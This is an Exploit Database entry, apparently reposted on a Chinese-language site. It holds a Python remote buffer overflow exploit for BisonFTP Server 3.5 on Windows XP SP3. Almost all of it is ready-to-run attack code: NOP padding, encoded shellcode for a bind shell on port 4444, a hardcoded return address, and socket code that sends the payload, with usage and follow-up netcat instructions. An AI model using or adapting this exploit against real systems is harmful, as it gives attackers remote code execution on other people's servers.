BisonWare BisonFTP Server 3.5 – Remote Buffer Overflow

Exploit Database
111 阅读

作者： localh0t

日期： 2011-08-10
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17649/

#!/usr/bin/python

# BisonFTP Server <=v3.5 Remote Buffer Overflow Exploit

# Newer version's not tested, maybe vulnerable too

# written by localh0t

# Date: 10/08/11

# Contact: mattdch0@gmail.com

# Follow: @mattdch

# www.localh0t.com.ar | www.mfsec.com.ar

# Thanks to: Pr0zac, Irakirashia, Kchito

# Targets: Windows XP SP3 Spanish (No DEP) (Change as you wish)

# Shellcode: List shell on port 4444 (Change as you wish)

from socket import *

import sys, struct, os, time

if (len(sys.argv) < 3):

print "\nBisonFTP Server <=v3.5 Remote Buffer Overflow Exploit"

print "\n Usage: %s <host> <port> \n" %(sys.argv[0])

sys.exit()

print "\n[!] Connecting to %s ..." %(sys.argv[1])

# connect to host

sock = socket(AF_INET,SOCK_STREAM)

sock.connect((sys.argv[1],int(sys.argv[2])))

sock.recv(1024)

time.sleep(5)

# padding

buffer = "\x90" * 1092

# 368 bytes shellcode

buffer += ("\x33\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"+

"\xbb\xc1\x9c\x35\x83\xee\xfc\xe2\xf4\x47\x29\x15\x35\xbb\xc1"+

"\xfc\xbc\x5e\xf0\x4e\x51\x30\x93\xac\xbe\xe9\xcd\x17\x67\xaf"+

"\x4a\xee\x1d\xb4\x76\xd6\x13\x8a\x3e\xad\xf5\x17\xfd\xfd\x49"+

"\xb9\xed\xbc\xf4\x74\xcc\x9d\xf2\x59\x31\xce\x62\x30\x93\x8c"+

"\xbe\xf9\xfd\x9d\xe5\x30\x81\xe4\xb0\x7b\xb5\xd6\x34\x6b\x91"+

"\x17\x7d\xa3\x4a\xc4\x15\xba\x12\x7f\x09\xf2\x4a\xa8\xbe\xba"+

"\x17\xad\xca\x8a\x01\x30\xf4\x74\xcc\x9d\xf2\x83\x21\xe9\xc1"+

"\xb8\xbc\x64\x0e\xc6\xe5\xe9\xd7\xe3\x4a\xc4\x11\xba\x12\xfa"+

"\xbe\xb7\x8a\x17\x6d\xa7\xc0\x4f\xbe\xbf\x4a\x9d\xe5\x32\x85"+

"\xb8\x11\xe0\x9a\xfd\x6c\xe1\x90\x63\xd5\xe3\x9e\xc6\xbe\xa9"+

"\x2a\x1a\x68\xd3\xf2\xae\x35\xbb\xa9\xeb\x46\x89\x9e\xc8\x5d"+

"\xf7\xb6\xba\x32\x44\x14\x24\xa5\xba\xc1\x9c\x1c\x7f\x95\xcc"+

"\x5d\x92\x41\xf7\x35\x44\x14\xcc\x65\xeb\x91\xdc\x65\xfb\x91"+

"\xf4\xdf\xb4\x1e\x7c\xca\x6e\x48\x5b\x04\x60\x92\xf4\x37\xbb"+

"\xd0\xc0\xbc\x5d\xab\x8c\x63\xec\xa9\x5e\xee\x8c\xa6\x63\xe0"+

"\xe8\x96\xf4\x82\x52\xf9\x63\xca\x6e\x92\xcf\x62\xd3\xb5\x70"+

"\x0e\x5a\x3e\x49\x62\x32\x06\xf4\x40\xd5\x8c\xfd\xca\x6e\xa9"+

"\xff\x58\xdf\xc1\x15\xd6\xec\x96\xcb\x04\x4d\xab\x8e\x6c\xed"+

"\x23\x61\x53\x7c\x85\xb8\x09\xba\xc0\x11\x71\x9f\xd1\x5a\x35"+

"\xff\x95\xcc\x63\xed\x97\xda\x63\xf5\x97\xca\x66\xed\xa9\xe5"+

"\xf9\x84\x47\x63\xe0\x32\x21\xd2\x63\xfd\x3e\xac\x5d\xb3\x46"+

"\x81\x55\x44\x14\x27\xc5\x0e\x63\xca\x5d\x1d\x54\x21\xa8\x44"+

"\x14\xa0\x33\xc7\xcb\x1c\xce\x5b\xb4\x99\x8e\xfc\xd2\xee\x5a"+

"\xd1\xc1\xcf\xca\x6e\xc1\x9c\x35")

# more padding

buffer += "\x90" * 8

# jmp edx (shell32.dll Windows XP SP3 Spanish) (edx points to the 1st nopsled)

buffer += "\x9a\x5c\x3c\x7e"

# end connection

buffer += "\x0a"

# send buffer

print "[!] Sending exploit..."

sock.send(buffer)

sock.recv(1024)

sock.close()

print "[!] Exploit succeed. Now netcat %s on port 4444\n" %(sys.argv[1])

sys.exit()